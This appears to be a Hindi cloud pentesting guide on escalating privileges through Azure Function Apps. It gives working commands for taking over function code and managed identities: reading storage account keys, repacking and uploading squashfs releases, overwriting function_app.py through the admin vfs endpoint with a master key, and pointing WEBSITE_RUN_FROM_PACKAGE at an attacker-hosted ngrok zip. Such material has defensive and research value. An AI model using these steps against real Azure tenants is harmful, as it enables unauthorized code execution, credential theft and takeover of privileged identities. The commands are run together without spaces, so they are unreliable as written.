यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो विभिन्न कंटेनरों (कस्टम या पूर्व-निर्धारित नामों के साथ) को ढूंढना संभव है जो फ़ंक्शन द्वारा निष्पादित कोड को समाहित कर सकते हैं।
एक बार जब आप यह पता लगा लेते हैं कि फ़ंक्शन का कोड कहाँ स्थित है, यदि आपके पास उस पर लिखने की अनुमति है, तो आप फ़ंक्शन को कोई भी कोड निष्पादित करने के लिए बना सकते हैं और फ़ंक्शन से जुड़े प्रबंधित पहचान पर विशेषाधिकार बढ़ा सकते हैं।
File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING और WEBSITE_CONTENTSHARE)
फ़ंक्शन का कोड आमतौर पर एक फ़ाइल शेयर के अंदर संग्रहीत होता है। पर्याप्त पहुंच के साथ, कोड फ़ाइल को संशोधित करना और फ़ंक्शन को मनमाना कोड लोड करने के लिए बनाना संभव है, जिससे फ़ंक्शन से जुड़े प्रबंधित पहचान पर विशेषाधिकार बढ़ाना संभव हो जाता है।
यह तैनाती विधि आमतौर पर सेटिंग्स WEBSITE_CONTENTAZUREFILECONNECTIONSTRING और WEBSITE_CONTENTSHARE को कॉन्फ़िगर करती है, जिसे आप प्राप्त कर सकते हैं
वे कॉन्फ़िगरेशन स्टोरेज अकाउंट की को शामिल करेंगे जिसका उपयोग फ़ंक्शन को कोड तक पहुँचने के लिए किया जा सकता है।
फ़ाइल शेयर से कनेक्ट करने और स्क्रिप्ट को संशोधित करने के लिए पर्याप्त अनुमति के साथ, फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
निम्नलिखित उदाहरण macOS का उपयोग करके फ़ाइल शेयर से कनेक्ट करने के लिए है, लेकिन फ़ाइल शेयर के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करना भी अनुशंसित है:
# Username is the name of the storage account# Password is the Storage Account Key# Open the connection to the file share# Change the code of the script like /site/wwwroot/function_app.pyopen"smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases (WEBSITE_RUN_FROM_PACKAGE)
यह सामान्य है कि zip रिलीज़ को उस फ़ोल्डर function-releases के अंदर पाया जाए जो स्टोरेज अकाउंट कंटेनर में है जिसका फ़ंक्शन ऐप उपयोग कर रहा है, जो आमतौर पर function-releases कहा जाता है।
आमतौर पर, यह तैनाती विधि WEBSITE_RUN_FROM_PACKAGE कॉन्फ़िग को सेट करेगी:
यह कॉन्फ़िगरेशन आमतौर पर कोड डाउनलोड करने के लिए एक SAS URL शामिल करेगा जो स्टोरेज अकाउंट से है।
यदि ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है जो कोड को ज़िप में शामिल करता है, तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)
पिछले मामले की तरह, यदि तैनाती Github Actions के माध्यम से की जाती है, तो स्टोरेज अकाउंट में github-actions-deploy फ़ोल्डर खोजना संभव है जिसमें कोड का एक ज़िप और सेटिंग WEBSITE_RUN_FROM_PACKAGE में ज़िप के लिए एक SAS URL है।
scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING और WEBSITE_CONTENTSHARE)
यदि स्टोरेज अकाउंट के अंदर फ़ंक्शन डेटा को संग्रहीत करने वाले कंटेनरों को पढ़ने के लिए अनुमति है, तो scm-releases कंटेनर खोजना संभव है। वहाँ नवीनतम रिलीज़ Squashfs फ़ाइल प्रणाली फ़ाइल प्रारूप में पाई जा सकती है और इसलिए फ़ंक्शन के कोड को पढ़ना संभव है:
# List containers inside the storage account of the function appazstoragecontainerlist \--account-name <acc-name> \--output table# List files inside one containerazstoragebloblist \--account-name <acc-name> \--container-name <container-name> \--output table# Download fileazstorageblobdownload \--account-name <res-group> \--container-name scm-releases \--name scm-latest-<app-name>.zip \--file /tmp/scm-latest-<app-name>.zip## Even if it looks like the file is a .zip, it's a Squashfs filesystem# Installbrewinstallsquashfs# List contents of the filesystemunsquashfs-l"/tmp/scm-latest-<app-name>.zip"# Get all the contentsmkdir/tmp/fsunsquashfs-d/tmp/fs/tmp/scm-latest-<app-name>.zip
यह भी संभव है कि मास्टर और फ़ंक्शन कुंजी को स्टोरेज खाते में azure-webjobs-secrets कंटेनर में <app-name> फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
यदि ज़िप एक्सटेंशन फ़ाइल में कोड को शामिल करने वाले ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है (जो वास्तव में एक squashfs है) तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
# Modify code inside the script in /tmp/fs adding your code# Generate new filesystem filemksquashfs/tmp/fs/tmp/scm-latest-<app-name>.zip-b131072-noappend# Upload it to the blob storageazstorageblobupload \--account-name <storage-account> \--container-name scm-releases \--name scm-latest-<app-name>.zip \--file /tmp/scm-latest-<app-name>.zip \--overwrite
Microsoft.Web/sites/host/listkeys/action
यह अनुमति निर्दिष्ट फ़ंक्शन के फ़ंक्शन, मास्टर और सिस्टम कुंजियों को सूचीबद्ध करने की अनुमति देती है, लेकिन होस्ट कुंजी को नहीं, के साथ:
मास्टर कुंजी के साथ, एक URL में स्रोत कोड प्राप्त करना भी संभव है जैसे:
# Get "script_href" fromazrest--methodGET \--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"# Accesscurl"<script-href>?code=<master-key>"## Python example:curl"https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g=="-v
और कार्य में निष्पादित हो रहे कोड को बदलने के लिए:
# Set the code to set in the function in /tmp/function_app.py## The following continues using the python examplecurl-XPUT"https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \--data-binary @/tmp/function_app.py \-H "Content-Type: application/json" \-H "If-Match: *" \-v
Microsoft.Web/sites/functions/listKeys/action
यह अनुमति निर्दिष्ट फ़ंक्शन की होस्ट कुंजी प्राप्त करने की अनुमति देती है:
यह अनुमति एक फ़ंक्शन की सेटिंग्स प्राप्त करने की अनुमति देती है। इन कॉन्फ़िगरेशन के अंदर, AzureWebJobsStorage या WEBSITE_CONTENTAZUREFILECONNECTIONSTRING के डिफ़ॉल्ट मान मिलना संभव है, जिसमें फुल अनुमतियों के साथ फ़ंक्शन के ब्लॉब स्टोरेज तक पहुँचने के लिए एक खाता कुंजी होती है।
ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा है, साथ ही इन मानों को संशोधित भी करती हैं। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है।
इसलिए सेटिंग के मान को WEBSITE_RUN_FROM_PACKAGE पर सेट करना संभव है जो एक URL ज़िप फ़ाइल की ओर इशारा करता है जिसमें एक वेब एप्लिकेशन के अंदर निष्पादित होने वाला नया कोड होता है:
वह कोड बनाएं जिसे आप फ़ंक्शन को चलाना चाहते हैं और इसे सार्वजनिक रूप से होस्ट करें
# Write inside /tmp/web/function_app.py the code of the functioncd/tmp/web/function_app.pyzipfunction_app.zipfunction_app.pypython3-mhttp.server# Serve it using ngrok for examplengrokhttp8000
फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में WEBSITE_RUN_FROM_PACKAGE को उस URL की ओर इंगित करें जिसमें कोड वाला zip है।
यहाँ मेरे अपने सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी, अंत में मान "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip" है, यहाँ मैंने ऐप को होस्ट किया था।
इस अनुमति के साथ किसी एप्लिकेशन के कोड को संशोधित करना संभव है वेब कंसोल के माध्यम से (या निम्नलिखित API एंडपॉइंट के माध्यम से):
# This is a python example, so we will be overwritting function_app.py# Store in /tmp/body the raw python code to put in the functionazrest--methodPUT \--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \--headers '{"Content-Type": "application/json", "If-Match": "*"}' \--body @/tmp/body
यदि आप देखते हैं कि वे क्रेडेंशियल्स REDACTED हैं, तो इसका मतलब है कि आपको SCM बेसिक ऑथेंटिकेशन विकल्प को सक्षम करने की आवश्यकता है और इसके लिए आपको दूसरी अनुमति की आवश्यकता है (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
फिर, आप अपने फ़ंक्शन ऐप के SCM URL पर इन बुनियादी प्रमाणीकरण क्रेडेंशियल्स के साथ पहुँच सकते हैं और env वेरिएबल्स के मान प्राप्त कर सकते हैं:
# Get settings valuescurl-u'<username>:<password>' \https://<app-name>.scm.azurewebsites.net/api/settings -v# Deploy code to the funcitonzipfunction_app.zipfunction_app.py# Your code in function_app.pycurl-u'<username>:<password>'-XPOST--data-binary"@<zip_file_path>" \https://<app-name>.scm.azurewebsites.net/api/zipdeploy
ध्यान दें कि SCM उपयोगकर्ता नाम आमतौर पर चर "$" के बाद ऐप के नाम के साथ होता है, इसलिए: $<app-name>.
आप https://<app-name>.scm.azurewebsites.net/BasicAuth से वेब पृष्ठ तक भी पहुँच सकते हैं।
सेटिंग्स मानों में उस स्टोरेज खाते का AccountKey शामिल होता है जो फ़ंक्शन ऐप के डेटा को संग्रहीत करता है, जिससे उस स्टोरेज खाते को नियंत्रित किया जा सकता है।
विधि FTP
FTP सर्वर से कनेक्ट करें:
# macOS install lftpbrewinstalllftp# Connect using lftplftp-u'<username>','<password>' \ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/# Some commandsls# Listget./function_app.py-o/tmp/# Download function_app.py in /tmpput/tmp/function_app.py-o/site/wwwroot/function_app.py# Upload file and deploy it
ध्यान दें कि FTP उपयोगकर्ता नाम आमतौर पर इस प्रारूप में होता है <app-name>\$<app-name>.
Microsoft.Web/sites/publish/Action
दस्तावेज़ों के अनुसार, यह अनुमति SCM सर्वर के अंदर कमांड निष्पादित करने की अनुमति देती है, जिसका उपयोग एप्लिकेशन के स्रोत कोड को संशोधित करने के लिए किया जा सकता है:
इस अनुमति के साथ, यह संभव है व्यवस्थापक टोकन प्राप्त करना, जिसका उपयोग बाद में मास्टर कुंजी प्राप्त करने के लिए किया जा सकता है और इसलिए फ़ंक्शन के कोड तक पहुँचने और उसे संशोधित करने के लिए:
# Get admin tokenazrest--methodPOST \--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \--headers '{"Content-Type": "application/json"}' \--debug# Get master keycurl"https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \-H "Authorization: Bearer <token>"
इन अनुमतियों के साथ, यह संभव है कि एक फ़ंक्शन ऐप द्वारा चलाए जा रहे कंटेनर को संशोधित किया जाए जिसे एक कंटेनर चलाने के लिए कॉन्फ़िगर किया गया है। यह एक हमलावर को एक दुर्भावनापूर्ण azure फ़ंक्शन कंटेनर ऐप को डॉकर हब (उदाहरण के लिए) पर अपलोड करने और फ़ंक्शन को इसे निष्पादित करने की अनुमति देगा।
इन अनुमतियों के साथ, एक नए उपयोगकर्ता प्रबंधित पहचान को एक फ़ंक्शन से संलग्न करना संभव है। यदि फ़ंक्शन से समझौता किया गया था, तो यह किसी भी उपयोगकर्ता प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाने की अनुमति देगा।
यह एक चल रहे Azure फ़ंक्शन को डिबग करने के लिए कनेक्ट करना भी संभव है, जैसे कि दस्तावेज़ों में समझाया गया है। हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा यदि डेवलपर इसे छोड़ने के लिए भूल जाता है ताकि कमजोर कॉन्फ़िगरेशन न छोड़े जाएं।
यह जांचना संभव है कि क्या किसी फ़ंक्शन में डिबगिंग सक्षम है:
Microsoft.Web/sites/config/write अनुमति होने पर, एक फ़ंक्शन को डिबगिंग मोड में डालना भी संभव है (निम्नलिखित कमांड को भी Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read और Microsoft.Web/sites/Read अनुमतियों की आवश्यकता होती है)।
मैंने निम्नलिखित कमांड्स को निष्पादित करके उस Github रेपो को बदलने की कोशिश की जहाँ से डिप्लॉयमेंट हो रहा है, लेकिन भले ही यह बदल गया, नया कोड लोड नहीं हुआ (संभवतः क्योंकि यह Github Action से कोड को अपडेट करने की उम्मीद कर रहा है)।
इसके अलावा, प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ जिससे नए रेपो की अनुमति नहीं मिली, इसलिए ऐसा लगता है कि यह बहुत उपयोगी नहीं है।
# Remove currentazfunctionappdeploymentsourcedelete \--name funcGithub \--resource-group Resource_Group_1# Load new public repoazfunctionappdeploymentsourceconfig \--name funcGithub \--resource-group Resource_Group_1 \--repo-url "https://github.com/orgname/azure_func3" \--branch main--github-actiontrue